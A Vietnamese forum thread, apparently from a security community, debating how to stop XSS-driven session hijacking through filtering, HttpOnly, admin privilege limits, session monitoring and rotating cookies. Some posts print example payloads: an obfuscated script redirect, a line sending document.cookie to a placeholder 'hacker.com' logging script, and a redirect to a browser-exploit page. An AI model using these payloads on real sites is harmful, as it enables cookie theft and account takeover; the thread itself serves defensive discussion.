@mR.Bi: lọc hết js thì mất hết hay của web rùi còn gì 

Đối với XSS thì lọc đầu vào quan trọng hay lọc đầu ra quan trọng nhỉ ?
 

gamma95 wrote:

Đối với XSS thì lọc đầu vào quan trọng hay lọc đầu ra quan trọng nhỉ ?
 

Lão gamma95 luôn đặt ra những câu hỏi thông minh, ý nhị và đượm chút láu lỉnh.

Vậy thì giống như ta vào một cửa hàng mua đồ, nhưng cửa hàng nhiều bụi. Nên chủ cửa hàng thiết kế một hệ thống hút bụi đặt ngoài cửa và hệ thống này sẽ có nhiệm vụ hút hết bụi bậm trên quần áo khách hàng lúc ra khỏi cửa hàng?. Hì hì.

Nhưng xin hỏi lại gamma95 một câu để đựoc chỉ giáo, là: Trong quá trình nạn nhân (thành phần thứ 2) "chủ động" kết nối đến một Webserver độc hại, có "cơ cấu" chôm HTTP header+cookie, (bằng cách vô tình click chuột vào một link nào đấy trên HVA forum), hay "bị động" bị dẫn đến đó, thì cái "khối" HTTP header+cookie của nạn nhân vừa truy cập vào HVA ấy, nó "nằm" (located) ở đâu? Trên HVA forum hay trên máy của nạn nhân? trứoc khi nó bị chuyển về Webserver độc hại.

Thanks for your reply! 

cookie thì nằm trên máy nạn nhân, còn bản thân cái khối HTTP Header của HVA thì ko lấy được vì bản thân khi cookie bay vế host của Attacker + kèm theo HTTP header truy cập đến host Attacker mà thôi ( tuy nhiên trong HTTP Header này chứa một số thông tin quan trọng như User-Agent, Referer (từ HVA) ...) Chừng đó thông tin cũng đủ để Attacker giả mạo HTTP Header hợp lệ đến HVA để bypass qua một số bước check ( như comboHash chẳng hạn).
ko biết cháu trả lời thế đúng ý bác PMX ko?
Còn về giải pháp HttpOnly cũng ko phải là một giải pháp[color=yellow] ko toàn diện[/color], vì trong một số trường hợp cụ thể, nó vẫn có thể bị bypass

 

Chào bác PXM
cookie thì nằm trên máy nạn nhân, còn bản thân cái khối HTTP Header của HVA thì ko lấy được vì bản thân khi cookie bay vế host của Attacker + kèm theo HTTP header truy cập đến host Attacker mà thôi ( tuy nhiên trong HTTP Header này chứa một số thông tin quan trọng như User-Agent, Referer (từ HVA) ...) Chừng đó thông tin cũng đủ để Attacker giả mạo HTTP Header hợp lệ đến HVA để bypass qua một số bước check ( như comboHash chẳng hạn).
ko biết cháu trả lời thế đúng ý bác PMX ko?
Còn về giải pháp HttpOnly cũng ko phải là một giải pháp toàn diện, vì trong một số trường hợp cụ thể, nó vẫn có thể bị bypass

 

1- Hạn chế quyền của VMod và Mod, đặc biệt trong việc "xóa" bài. Thí dụ chỉ cho phép Vmod hay Mod xóa nhiều nhất là 5 post trong một phiên kết nối và hoàn toàn không có quyền xóa toàn bộ một topic, cũng như chỉ cho phép "ban" hay "warning" tối đa 1 nick trong một phiên kết nối. (Thưc ra quyền hạn của Mod hay VMod trong HVA vốn cũng đã hạn chê).

 

2- Khi chỉ xem forum, post bài, các Admin. không nên truy cập vào HVA forum dứoi nickname- password của một Administrator, với quyền hạn như của một "root", mà chỉ nên truy cập vào dưới nickname và password với quyền hạn như của một Mod. Còn khi config. lại Forum mới dùng quyền của Admin-root.

 

1- Áp dụng suy luận "ngoại phạm" hay "nôi phạm" gì đó của bên công an điều tra. Nghĩa là về nguyên tắc một user, tại một thời điểm xác định (theo Date và Time của Server) thì không thể cùng có mặt tại hai URL khác nhau. Ở đây có thể cải tiến tiện ích hiện hữu vốn rất hay của HVA forum là "ai đang làm gì, ở đâu" để phát hiện ra hacker.

 

2- Cải tiến một tiện ích Monitoring user hay đựoc cài trên các Website, từ đó phát hiện ra một nickname nào đó lại dùng các OS, trình duyệt... khác nhau trong cùng một phiên kết nối. Từ đó phát hiện khả năng nickname này đang bị chiếm đoạt.
 

Sự cố 'con gián' do mod gamma95 tìm ra ko liên quan gì đến link động. 

Đối với XSS thì lọc đầu vào quan trọng hay lọc đầu ra quan trọng nhỉ ? 

lQ wrote:

Theo ngu ý của tôi thì admin nên deny tất cả những link động trên web app mà Users có thể tạo ra.  

Sự cố 'con gián' do mod gamma95 tìm ra ko liên quan gì đến link động. 

Oh, theo tôi nghĩ là có chứ nhỉ. Cái link động được che đậy sau cái ảnh trong một thẻ script. 

<script>
var a='http://';
var b='www.';
var c='hacker';
var d='.net';
window.location=a+b+c+d;
</script>

hí hí, chủ đề hay ghê, có lẽ phải đổi tên chút cho anh em bàn luận thoải mái về xss, chứ không chỉ ngăn chặn session hijacking á. Mà xem chừng có vẻ chưa có đc giải pháp nào triệt để với với vấn đề này rồi  

hí hí, chủ đề hay ghê, có lẽ phải đổi tên chút cho anh em bàn luận thoải mái về xss, chứ không chỉ ngăn chặn session hijacking á. Mà xem chừng có vẻ chưa có đc giải pháp nào triệt để với với vấn đề này rồi  

Đối với XSS thì lọc đầu vào quan trọng hay lọc đầu ra quan trọng nhỉ ? 

@gamma95: oki you re right!
Hồi trước mình làm bộ lọc là lọc chung cho SQL và XSS. Lúc đó cũng đã nhận ra một số bất cập trong việc xử lý XSS như gama đã nói.

@PMMM jj đó: Theo bồ không check đầu vào, đầu ra thì liệu có khắc phục triệt để XSS?
Cookie, HTTP header của bồ đều có thể giả mạo. 

Có vẻ như HTTP authentication cũng ko thể chống đc XSS ... 

@bác PXM:
cháu ví dụ:
HVA bị XSS và hacker chèn đoạn này vào chữ ký:
<script> window.location="http://hacker.com/cookie.php?cookie="+document.cookie;</script>thì bản thân function "document.cookie" có chức năng đọc cookie của HVA, sau đó giá trị của cookie đóng vai trò là một @argument và gửi đến script đọc giá trị @argument đó và ghi vào file log.txt của hacker thôi. Còn câu hỏi của bác PMX là có chịu tổn thương gì ko thì theo cháu muốn trả lời được thì phải xem XSS ngoài chuyện lấy cookie ra thì có thể làm đc những gì? Ví dụ như Phishing, pharming, cài mã độc, hay dùng những 0-day exploit của browser etc ?? 

boom_jt wrote:

Có vẻ như HTTP authentication cũng ko thể chống đc XSS ... 

Ok, nhờ bạn boom_it phân tích thêm về nhận định này  

A Short Demonstration Video:
http://ferruh.mavituna.com/blogs/xsstunnelling-video.zip

Video shows to exploit a permanent XSS in wordpress and bypass Basic Auth on the fly by XSS Tunnel. 

Khi đọc các file độc hại trên webserver có lỗi XSS (thí dụ HVAforum) trình duyệt có thể bị tổn thương 

<script> window.location="http://hacker.com/khaithacloitrinhduyet.htm"</script> 

....

Về vấn đề khai thác xss tại thời điểm này, thì theo như bác gamma có nhận thấy sự xuất hiện của 1 biến combohash trong cookie do bác conmale đưa thêm vào, như vậy với cách khai thác là chỉ thay cookie thì chưa chắc đã thành công. File cookie.php của bác gamma sẽ phải có thêm chức năng lưu lại http header từ browser của victim gửi kèm, từ đó sử dụng http header này cùng với cookie thu được thì may ra sẽ thành công chăng  

...đồng thời set một cookie "đặc biệt"...
 

Cứ như thế, mỗi request từ user A phải kèm theo một cookie mới nhất và có giá trị được HVA set ở lần request gần nhất trước đây và request ấy chỉ được trả lời nếu như nó có cookie mới nhất và có giá trị.
 

Khơi thêm một tí để bàn cho vui

Giả sử chúng ta có một trường hợp xử lý như sau:

1) User A gởi request thứ nhất đến HVA và chưa hề nhận được một cookie nào cả.

2) HVA trả lời request thứ nhất này đồng thời set một cookie "đặc biệt" trên trình duyệt của user A. Tạm gọi cookie này là cookie=1

3) User A gởi request thứ nhì đến HVA, request này có kèm theo cookie=1. Ở bước này HVA sẽ tiếp nhận request thứ nhì của user A nếu như nó có kèm theo cookie=1. Nếu không, nó sẽ từ chối trả lời. Nếu HVA tiếp nhận request thứ nhì này (vì nó có kèm theo cookie=1), HVA sẽ tiếp tục set một cookie khác đến trình duyệt của user A. Tạm gọi là cookie=2 (cookie=1 đã bị hủy).

Cứ như thế, mỗi request từ user A phải kèm theo một cookie mới nhất và có giá trị được HVA set ở lần request gần nhất trước đây và request ấy chỉ được trả lời nếu như nó có cookie mới nhất và có giá trị.


Với cơ chế như trên, giả sử user B bằng cách nào đó "chôm" được cookie của user A (cứ cho rằng user B chôm được trọn bộ HTTP header của user A). Liệu user B có thể làm được gì với cookie lấy được? Tại sao? Tại sao không?

Mời bà con bàn.

Thân.